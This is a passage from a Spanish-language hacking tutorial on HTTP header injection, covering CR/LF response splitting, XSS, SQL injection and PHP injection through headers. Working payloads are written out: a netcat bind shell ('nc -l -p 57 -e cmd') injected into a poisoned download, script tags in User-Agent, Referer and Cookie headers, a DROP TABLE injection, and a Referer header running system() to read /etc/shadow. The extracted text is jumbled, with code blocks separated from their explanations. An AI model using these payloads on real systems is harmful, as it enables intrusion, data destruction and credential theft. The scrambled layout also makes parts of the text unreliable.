HTTP al descubierto "2"
Posted by kasp3r11
14:08, under http |
0x03: Inyectando Código
En el capítulo anterior hemos visto qué es el sniffeo de cabeceras y cómo modificar y
enviar cabeceras. Cuando sniffeamos cabeceras podemos hacerlo con dos objetivos, o bien para
observar los datos que se envían y de ahí buscar un posible CSRF (Cross Site Request Forguery)
o bien para modificar la cabecera y añadirle código malicioso, el cual provoque en una aplicación
vulnerable una respuesta que no era la que debía.
Una aplicación web es vulnerable cuando maneja datos procedentes de la cabecera sin
realizarles un correcto filtrado, permitiendo a un usuario malintencionado la modificación de la
cabecera para que la aplicación web maneje códigos maliciosos, y ejecute éstos, de esta forma
podemos convertir a las cabeceras como un vehículo en el que inyectar sentencias SQL
maliciosas, JavaScript, etc. para realizar diversos ataques a una web.
En este capítulo nos centraremos en el ataque a webs a través de la inclusión de código
malicioso en las cabeceras.
/.0x03 CR/LF Injections (introducción al HTTP Splitting)
En este apartado quisiéramos hacer una breve introducción al HTTP Splitting a través de
un ejemplo muy llamativo, como es el de infectar una descarga. Pero antes de meternos en el
tema necesitamos tener ciertos conocimientos básicos y simples para poder entender cómo
funciona la técnica.
Existen una serie de caracteres especiales encodados que sirven como señalización. Unos
de estos caracteres especiales son los llamados
cuales en conjunto son traducidos por “Salto de línea” en el momento en que mandamos una
cabecera. Ambas señales se traducen por 0x0D y 0x0A (%0d y %0a). En programación las
señales de salto de línea se plasman con los caracteres de escape \r\n.
Consideramos una aplicación vulnerable a CR/LF injection cuando no filtra de forma
correcta las variables, permitiendo setear en ellas valores prohibidos como lo son éstos. Esta
vulnerabilidad implica el que un usuario malintencionado pueda manipular a su antojo las
cabeceras de un servidor, ya que como sabemos, la finalización de una cabecera se señala con
un doble salto de línea o %0d%0a%0d%0a. Entonces si un usuario mal intencionado setea una
variable con ese código provocará la “partición” de la cabecera, permitiendo colocar junto al doble
salto de línea el código que él considere oportuno, normalmente será una segunda cabecera.
A la técnica de “truncar” o “cortar” una cabecera para controlar una respuesta del servidor se la
denomina “HTTP Splitting”. Una técnica derivada del HTTP Splitting puede ser lo que se denomina
“File Download Injection” y consiste en infectar con el código que nosotros deseemos una
descarga.
Si tenemos una aplicación que descarga ficheros con un código similar a (en PHP):
header(”Content-Type: application/octet-stream”);
header(”Content-Disposition: attachment; filename=”.$_REQUEST[”file”]);
Y además es vulnerable a CR/LF injectión, podemos usar esta aplicación como vector de ataque
contra una víctima, ya que como ahora veremos, podemos infectar una descarga con el código
que nosotros deseemos.
Si nosotros accedemos a una descarga a través de una URL tipo
www.mysite.com/descargas.php?file=Batch.bat y analizamos la cabecera (tras sniffearla)
podemos ver que quedaría algo tipo:
Si nosotros a la variable file, en vez de meter únicamente el archivo que queremos descargar, lo
que hacemos es añadirle una señal de doble salto de línea seguida de código, cuando la persona
descargue ese archivo, su contenido se habrá sobrescrito por el que nosotros añamos colocado
en la URL. Con esto hacemos que la víctima ejecute código malicioso que podría poner en jaque
su seguridad, si por ejemplo, lo que añadimos es colocar una shell en un puerto, o borrar X
CR (Carriage Return) y LF (Line Feed), losHTTP/1.x
200 OK
Date: Mon, 08 Sep 2008 13:59:22 GMT
Server: Apache
content-disposition: attachment; filename=download.php
fichero. Como Prueba de Concepto para ver que realmente funciona, aquí teneis la cabecera
resultante de setear la variable FILE con Batch.bat%0d%0a%0d%0anc –l –p 57 –e cmd:
Como podemos ver, el codigo fuente se ha sobrescrito por una línea cuya función es la de
colocar una shell en el puerto 57 de la víctima.
Ésta es solo una aplicación de las muchas que conlleva el HTTP Splitting, puesto que su
potencial puede ser increíble. Este apartado ha sido una mera introducción a este tipo de ataque
para que os pique el gusanillo e investiguéis sobre él, ya que es un tema muy amplio y como no
queríamos desviarnos demasiado del tema central del paper apenas lo hemos podido tocar.
/.0x04 XSS y SQL Injections
Probablemente cuando habéis leido el anterior apartado, centrado en las CR/LF injections, habrá
sido la primera vez que hayáis visto este tipo de vulnerabilidad. Si este tipo de vulnerabilidad, que
podemos etiquetarla como “no muy extendida o conocida”, ahora por el contrario si vamos a tratar
las vulnerabilidades más conocidas y extendidas por excelencia: los XSS y las inyecciones SQL.
Si recordais el inicio de este capítulo, estuvimos hablando que muchas aplicaciones trabajan con
datos extraidos de las cabeceras, y que en la mayoría de los casos dichos datos son utilizados sin
pasarle previamente algún tipo de filtro, es inevitable que se nos vengan a la mente nuestro
queridísimos amigos Cross Site Scripting y SQL injection.
La mayoría de casos la variable vulnerable (en el caso de los XSS) suele ser alguna que se utiliza
para mostrar alguna información tipo IP, User-Agent y demás. Es por ello que la mayoría de webs
que ofrecen “ver mi IP y otros datos” suelen ser vulnerables, ya que si nosotros sniffeamos y
modificamos una cabecera para que quede tipo:
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Content-Disposition:
attachment;filename=troyano.bat
nc -l -p 57 -e cmd
Damos a repetir… et voilá! Un bonito XSS. Por eso muchos webmaster para “asustar” a posibles
“atacantes” o usuarios malintencionados optan por mostrar esos datos, IP, User-Agent y demás,
pero lo que no saben es que están poniendo en peligro su propia seguridad. Y más aún cuando
muchas veces guardan estos datos en un archivo para visualizarse desde un panel de
administración… Entonces sí que estamos de una vulnerabilidad y de las gordas.
También muchos sistemas de estadísticas se basan en un sistema de recogida en un archivo los
Referer de la gente que entra su website, y con esos datos elaboran listas de links que apuntan a
su sitio… Existe una alta probabilidad de que en estos casos también nos encontremos de cara a
un posible ataque aprovechando el XSS.
Pero, los últimos tiempos se han puesto de moda las gestiones con bases de datos para facilitar y
optimizar el trabajo de los webmasters. Pero, las sentencias para usar las DBs (Data Bases) si
utilizan variables que proceden de las cabeceras. Un claro ejemplo fue la vulnerabilidad
descubierta por SirDarckCat en X-Statistics[5] , aplicación la cual usaba los datos recogidos de
User-Agent sin realizar un correcto filtrado, lo que conllevaba a que un usuario malintencionado
pudiera introducir sentencias malignas (SQL Injections) dentro de las cabeceras.
Otro escenario seria un sistema de baneado a traves de X_FORWARDED_FOR:
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$consulta = mysql_query( "SELECT * FROM baneados where ip=$ip" , $conexion);
En ese código vulnerable, podemos spoofear la cabecera y añadirle una SQL injection con el
código
Si nos apeteciera jugar más, usando
susto y avisarle.
foo'; DROP TABLE baneados;--, provocando que se borre la tabla "baneados".ISERT INTO podriamos añadir la IP del admin para darle un/.0x05 PHP injections
En el apartado superior hemos hablado de como implementar estas dos vulnerabilidades (XSS y
SQL injection) usando los metodos HTTP y un Sniffer de cabeceras, ahora vamos a hablar sobre
las PHP injections.
Algunos no habran oído hablar nunca de este tipo de vulnerabilidad sin embargo tiene grandes
similitudes con RFI, aunque ahora explicare la pequeña diferencia entre las dos.
Host: www.vermiip.es
User-Agent: <script>alert(/FoS TeaM/)</script>
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,
*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: <script>alert(/0wn3d/)</script>
Cookie: datos=fecha=09%2F09%2F2008+16%3A40&ip=<script>alert(/Fuck U/)</script>;
ASPSESSIONIDSCBTTBBS=CINKKHKCFLKEIONDKCHIPPPC
Cache-Control: max-age=0
Con un include() mal filtrado, nosotros lo aprovechamos para inyectar la url de nuestro interprete
de comandos (shell), sin embargo las PHP injections consisten en usar la propia aplicacion
vulnerable como interprete de comandos, para que esto suceda dentro de dicha aplicacion deve
de estar presente la función eval() y el usuario tiene que poder modificar algun parámetro.
La forma de prevenir esto es denegar la ejecución de comandos al usuario o en otras palabras
que nada dentro de eval() dependa de variables que pueda modifcar el usuario.
Bueno ahora voy a pasar a mostrarles como podemos implementar las PHP injections usando las
cabeceras y el Live HTTP headers
Imaginense que tenemos una web que captura todas las ips de los visitantes y para ello usa algo
parecido a esto:
Y evidentemente otro archivo (index.php por ej.) llamara a esta especie de log, dicho archivo hara
un include() a ips.txt, ahora nosotros lo que pretendemos hacer es modificar nuestra cabecera
para mandar código php a ips.txt y cuando este fichero sea llamado por index.php sea ejecutado.
De esta forma podemos aprovechar la aplicación como si se tratase de una shell. Como pueden
comprobar podemos aprovechar para ejecutar comandos habiendo infectado el archvio ips.txt, en
nuestro caso hemos intentado visualizar el archivo shadow ovbiamente sin privilegios de root nos
podemos ir olvidando, no obstante podemos usar ls para listar el contenido del directorio
/.0x06 Sacar información con OPTIONS
Ya hemos hablado del metodo OPTIONS en el capítulo /.0x02 pero ahora intentaremos
profundizar un poco más y presentar algunas pruebas de concepto.
Como bien decíamos en dicho capítulo anterior el método OPTIONS nos informaba de que otros
métodos estaban permitidos y cuales no.
GET /index.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615
Fedora/3.0.1-1.fc9 Firefox/3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: UTF-8,*
Keep-Alive: 300
Connection: keep-alive
Referer: <php ob_clean; system("nano /etc/shadow #ojala"); ?>
<?php
$lista = open ("ips.txt", "a");
fwrite ($lista, $_SERVER['HTTP_X_FORWARDED_FOR']);
fclose($lista);
?>